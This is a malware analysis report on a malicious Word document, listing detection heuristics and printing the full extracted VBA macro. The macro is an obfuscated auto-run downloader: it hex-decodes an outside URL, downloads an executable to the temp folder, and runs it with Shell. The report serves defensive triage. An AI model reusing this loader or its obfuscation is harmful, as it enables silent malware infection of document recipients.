Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7db49013954e8864…

MALICIOUS

Office (OLE)

41.5 KB Created: 2014-11-24 10:12:00 Authoring application: Microsoft Office Word First seen: 2015-02-05
MD5: b2356ce5a8f311df482d5b2a92e567ff SHA-1: 7417f3b9d28457998f0a0a3af2d1a92060cb4c92 SHA-256: 7db49013954e8864a5ad8bb6189ee7ab3917efff426b4e07670a335c68280bdb
406 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains obfuscated VBA macros, including an AutoOpen subroutine, which is a common technique for malicious documents. The script utilizes the URLDownloadToFile API, indicating an intent to download and execute a second-stage payload. The presence of legacy WordBasic auto-exec markers and the use of `CreateObject`/`Shell`/`exec` further support this conclusion.

Heuristics 12

  • ClamAV: Doc.Downloader.Macr-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Macr-2
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        gffUYUdfg = Shell(ewwfgfdg, 1)
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        gffUYUdfg = Shell(ewwfgfdg, 1)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        ewwfgfdg = Environ(gHBJdsg("54454D50")) & gHBJdsg("5C6473667364662E657865")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7888 bytes
SHA-256: 7716e0138901e54d9f79564526ebdbcc8152099c1d027f1ee8aaf43d830fe9c5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
73 of 117 identifiers look randomly generated (e.g. 'UGivgHgfdg') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal dsfsdf As LongPtr, _
    ByVal sdfsdfgds As String, _
    ByVal yurtysdf As String, _
    ByVal iufdsd As Long, _
    ByVal vbxdfsdf As LongPtr) As LongPtr
#Else
    Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal dsfsdf As Long, _
    ByVal sdfsdfgds As String, _
    ByVal yurtysdf As String, _
    ByVal iufdsd As Long, _
    ByVal vbxdfsdf As Long) As Long
#End If


Sub uiwefds()
Dim JzOjvKld As Integer
For JzOjvKld = 0 To 1
Dim pBBdhbMj As Integer
For pBBdhbMj = 0 To 9
Dim MQeaXHnQ As Integer
For MQeaXHnQ = 0 To 7
DoEvents
Next MQeaXHnQ
DoEvents
Next pBBdhbMj
Dim PLCvpaGo As Integer
For PLCvpaGo = 0 To 5
DoEvents
Next PLCvpaGo
DoEvents
Next JzOjvKld
Dim ByLPRPoF As Integer
For ByLPRPoF = 0 To 8
Dim KzYSAJew As Integer
For KzYSAJew = 0 To 6
DoEvents
Next KzYSAJew
DoEvents
Next ByLPRPoF
Dim UonpGakM As Integer
For UonpGakM = 0 To 5
DoEvents
Next UonpGakM
UGivgHgfdg
End Sub
Sub AutoOpen()
Dim HipjVMDI As Integer
For HipjVMDI = 0 To 6
Dim FldilXKU As Integer
For FldilXKU = 0 To 3
Dim neEzgwIm As Integer
For neEzgwIm = 0 To 7
DoEvents
Next neEzgwIm
DoEvents
Next FldilXKU
Dim jpxnEYVL As Integer
For jpxnEYVL = 0 To 5
DoEvents
Next jpxnEYVL
DoEvents
Next HipjVMDI
Dim KNMUJHlQ As Integer
For KNMUJHlQ = 0 To 3
Dim IiYHosKX As Integer
For IiYHosKX = 0 To 1
DoEvents
Next IiYHosKX
DoEvents
Next KNMUJHlQ
Dim qMjVLPPI As Integer
For qMjVLPPI = 0 To 6
DoEvents
Next qMjVLPPI
    uiwefds
End Sub
Sub Workbook_Open()
Dim zFxkURlO As Integer
For zFxkURlO = 0 To 3
Dim WUxmpDbh As Integer
For WUxmpDbh = 0 To 7
Dim NiIUHMrP As Integer
For NiIUHMrP = 0 To 8
DoEvents
Next NiIUHMrP
DoEvents
Next WUxmpDbh
Dim AVCbuhOj As Integer
For AVCbuhOj = 0 To 4
DoEvents
Next AVCbuhOj
DoEvents
Next zFxkURlO
Dim cliZMskz As Integer
For cliZMskz = 0 To 3
Dim TnVmmvfd As Integer
For TnVmmvfd = 0 To 4
DoEvents
Next TnVmmvfd
DoEvents
Next cliZMskz
Dim LJnsAqIf As Integer
For LJnsAqIf = 0 To 7
DoEvents
Next LJnsAqIf
    uiwefds
End Sub
Sub UGivgHgfdg()
Dim aMXkuYDt As Integer
For aMXkuYDt = 0 To 6
Dim VhVjCVvI As Integer
For VhVjCVvI = 0 To 4
Dim ylrNCMWQ As Integer
For ylrNCMWQ = 0 To 3
DoEvents
Next ylrNCMWQ
DoEvents
Next VhVjCVvI
Dim lHpAOReT As Integer
For lHpAOReT = 0 To 6
DoEvents
Next lHpAOReT
DoEvents
Next aMXkuYDt
Dim DZwbJyAN As Integer
For DZwbJyAN = 0 To 2
Dim WEDuKupQ As Integer
For WEDuKupQ = 0 To 1
DoEvents
Next WEDuKupQ
DoEvents
Next DZwbJyAN
Dim pMhVBLRS As Integer
For pMhVBLRS = 0 To 6

Next pMhVBLRS
ghKJfg = gHBJdsg("6874")
jnkdsf = gHBJdsg("74703A2F2F")
hdsjkf = gHBJdsg("6472616D616B617A756B692E6B657361676972692E6E65742F6A732F62696E2E657865")
    ewrwefdsf = ghKJfg + jnkdsf + hdsjkf

Dim IzqfqBCT As Integer
For IzqfqBCT = 0 To 2
Dim qJRLoONV As Integer
For qJRLoONV = 0 To 7
Dim tbUUVMUg As Integer
For tbUUVMUg = 0 To 6
DoEvents
Next tbUUVMUg
DoEvents
Next qJRLoONV
Dim tnRLuKkx As Integer
For tnRLuKkx = 0 To 6
DoEvents
Next tnRLuKkx
DoEvents
Next IzqfqBCT
Dim NrzarJeg As Integer
For NrzarJeg = 0 To 5
Dim yxXAyyyv As Integer
For yxXAyyyv = 0 To 9
DoEvents
Next yxXAyyyv
DoEvents
Next NrzarJeg
Dim JzPxPklW As Integer
For JzPxPklW = 0 To 6
DoEvents
Next JzPxPklW
    ewwfgfdg = Environ(gHBJdsg("54454D50")) & gHBJdsg("5C6473667364662E657865")
Dim ETUbKtRJ As Integer
For ETUbKtRJ = 0 To 4
Dim IiOcPqqr As Integer
For IiOcPqqr = 0 To 8
Dim CwnoVirg As Integer
For CwnoVirg = 0 To 4
DoEvents
Next CwnoVirg
DoEvents
Next IiOcPqqr
Dim ONhNGOcj As Integer
For ONhNGOcj = 0 To 2
DoEvents
Next ONhNGOcj
DoEvents
Next ETUbKtRJ
Dim pBVhaYHP As Integer
For pBVhaYHP = 0 To 4
Dim wYauEKwW As Integer
For wYauEKwW = 0 To 6
DoEvents
Next wYauEKwW
DoEvents
Next pBVhaYHP
Dim LJYSRlqY As Integer
For LJYSRlqY = 0 To 1
DoEvents
Next LJYSRlqY
    wqewr = URLDownloadToFile(0&, ewrwefdsf, ewwfgfdg, 0&, 0&)
   Dim gffUYUdfg
Dim YgpqTtOy As Integer
For YgpqTtOy = 0 To 2
Dim QSZWppCH As Integer
For QSZWppCH = 0 To 2
Dim ZJYDvLqr As Integer
For ZJYDvLqr = 0 To 9
DoEvents
Next ZJYDvLqr
DoEvents
Next QSZWppCH
Dim NaskblaF As Integer
For NaskblaF = 0 To 5
DoEvents
Next NaskblaF
DoEvents
Next YgpqTtOy
Dim dEJDnTZw As Integer
For dEJDnTZw = 0 To 7
Dim sGQchASM As Integer
For sGQchASM = 0 To 4
DoEvents
Next sGQchASM
DoEvents
Next dEJDnTZw
Dim wRiSDhtL As Integer
For wRiSDhtL = 0 To 6
DoEvents
Next wRiSDhtL
    gffUYUdfg = Shell(ewwfgfdg, 1)

End Sub
Public Function gHBJdsg(ByVal hextext As String) As String

Dim wWbztFwG As Integer

Dim GUPqhtPg As Integer
GUPqhtPg = 5
Do While GUPqhtPg < 48
DoEvents: GUPqhtPg = GUPqhtPg + 1
Loop

wWbztFwG = 2
Do While wWbztFwG < 12

Dim uRXhQDWq As Integer
uRXhQDWq = 8
Do While uRXhQDWq < 78
DoEvents: uRXhQDWq = uRXhQDWq + 1
Loop

DoEvents: wWbztFwG = wWbztFwG + 1

Dim EVQinjcM As Integer
EVQinjcM = 3
Do While EVQinjcM < 84
DoEvents: EVQinjcM = EVQinjcM + 1
Loop

Loop


Dim yPwhqFgT As Integer
yPwhqFgT = 8
Do While yPwhqFgT < 42
DoEvents: yPwhqFgT = yPwhqFgT + 1
Loop

    
For y = 1 To Len(hextext)

Dim DKQuAxYQ As Integer

Dim ApQiblsP As Integer
ApQiblsP = 3
Do While ApQiblsP < 76
DoEvents: ApQiblsP = ApQiblsP + 1
Loop

DKQuAxYQ = 5
Do While DKQuAxYQ < 41

Dim rXwhqJex As Integer
rXwhqJex = 8
Do While rXwhqJex < 34
DoEvents: rXwhqJex = rXwhqJex + 1
Loop

DoEvents: DKQuAxYQ = DKQuAxYQ + 1

Dim GPlvEueK As Integer
GPlvEueK = 3
Do While GPlvEueK < 49
DoEvents: GPlvEueK = GPlvEueK + 1
Loop

Loop


Dim jxtTfTWR As Integer
jxtTfTWR = 7
Do While jxtTfTWR < 96
DoEvents: jxtTfTWR = jxtTfTWR + 1
Loop

    num = Mid(hextext, y, 2)

Dim qsnBhNom As Integer

Dim RVFXklSQ As Integer
RVFXklSQ = 3
Do While RVFXklSQ < 59
DoEvents: RVFXklSQ = RVFXklSQ + 1
Loop

qsnBhNom = 9
Do While qsnBhNom < 46

Dim mtIlYZzo As Integer
mtIlYZzo = 1
Do While mtIlYZzo < 65
DoEvents: mtIlYZzo = mtIlYZzo + 1
Loop

DoEvents: qsnBhNom = qsnBhNom + 1

Dim DKDBypFV As Integer
DKDBypFV = 5
Do While DKDBypFV < 41
DoEvents: DKDBypFV = DKDBypFV + 1
Loop

Loop


Dim EBUcmmrw As Integer
EBUcmmrw = 3
Do While EBUcmmrw < 22
DoEvents: EBUcmmrw = EBUcmmrw + 1
Loop

    Value = Value & Chr(CDbl("&h" & num))

Dim lqyAAJfk As Integer

Dim HnhDciWZ As Integer
HnhDciWZ = 5
Do While HnhDciWZ < 19
DoEvents: HnhDciWZ = HnhDciWZ + 1
Loop

lqyAAJfk = 1
Do While lqyAAJfk < 94

Dim JwOgaoKJ As Integer
JwOgaoKJ = 5
Do While JwOgaoKJ < 18
DoEvents: JwOgaoKJ = JwOgaoKJ + 1
Loop

DoEvents: lqyAAJfk = lqyAAJfk + 1

Dim AqUclcKd As Integer
AqUclcKd = 9
Do While AqUclcKd < 24
DoEvents: AqUclcKd = AqUclcKd + 1
Loop

Loop


Dim kkAWIUuP As Integer
kkAWIUuP = 8
Do While kkAWIUuP < 96
DoEvents: kkAWIUuP = kkAWIUuP + 1
Loop

    y = y + 1
Next y


Dim ljYAaKUD As Integer

Dim HEaLjCxl As Integer
HEaLjCxl = 5
Do While HEaLjCxl < 19
DoEvents: HEaLjCxl = HEaLjCxl + 1
Loop

ljYAaKUD = 1
Do While ljYAaKUD < 67

Dim YPWkTuQH As Integer
YPWkTuQH = 3
Do While YPWkTuQH < 82
DoEvents: YPWkTuQH = YPWkTuQH + 1
Loop

DoEvents: ljYAaKUD = ljYAaKUD + 1

Dim fLpdInWj As Integer
fLpdInWj = 9
Do While fLpdInWj < 81
DoEvents: fLpdInWj = fLpdInWj + 1
Loop

Loop


Dim kwdanxIn As Integer
kwdanxIn = 1
Do While kwdanxIn < 96
DoEvents: kwdanxIn = kwdanxIn + 1
Loop

gHBJdsg = Value
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.